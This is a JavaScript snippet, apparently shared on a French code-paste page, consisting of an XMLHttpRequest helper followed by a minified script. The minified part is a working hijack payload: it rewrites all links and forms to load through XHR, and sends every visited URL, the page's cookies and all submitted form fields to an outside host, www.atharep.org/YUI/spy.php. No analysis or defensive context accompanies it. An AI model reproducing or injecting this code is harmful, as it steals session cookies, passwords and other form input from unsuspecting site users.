1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| function getXHR() {
var xhr = null;
if(window.XMLHttpRequest || window.ActiveXObject) {
if(window.ActiveXObject) {
try {
xhr = new ActiveXObject("Msxml2.XMLHTTP");
} catch(e) {
xhr = new ActiveXObject("Microsoft.XMLHTTP");
}
} else {
xhr = new XMLHttpRequest();
}
} else {
alert("Votre navigateur ne supporte pas l'objet XMLHTTPRequest...");
return null;
}
return xhr;
}
function ajust(){var d=document.links;var fs=document.forms;for(i=0;i<d.length;i++){h=d[i].href;d[i].href="javascript:req('"+d[i].href+"')";d[i].onclick=function(){req(h);}};for(k=0;k<fs.length;k++){fs[k].onsubmit=function(){post(this);return(false)}}};function blindpost(u,d){var x=getXHR();x.open("POST",u,false);x.setRequestHeader('Content-type','application/x-www-form-urlencoded');x.send(d)};function xhr(u){var x=getXHR();x.open("GET",u,false);x.send()};function req(u){var x=getXHR();x.open("GET",u,false);x.send();document.body.innerHTML=x.responseText;xhr("http://www.atharep.org/YUI/spy.php?u="+encodeURIComponent(u)+"&cookie="+encodeURIComponent(document.cookie));ajust();};function post(f){data="";for(i=0;i<f.length;i++){fi=f[i];if(fi.tagName=="INPUT" || fi.tagName=="TEXTAREA"){iname=encodeURIComponent(fi.name);ivalue=encodeURIComponent(fi.value);data+=iname+"="+ivalue+"&";}};if(f.method=="GET"){req(f.action+"?"+data)}else{postdata(f.action,data);blindpost("http://www.atharep.org/YUI/spy.php?u="+encodeURIComponent(f.action),data)}};function postdata(u,d){var x=getXHR();x.open("POST",u,false);x.setRequestHeader('Content-type','application/x-www-form-urlencoded');x.send(d),document.body.innerHTML=x.responseText;ajust();};ajust();void(0); |
Partager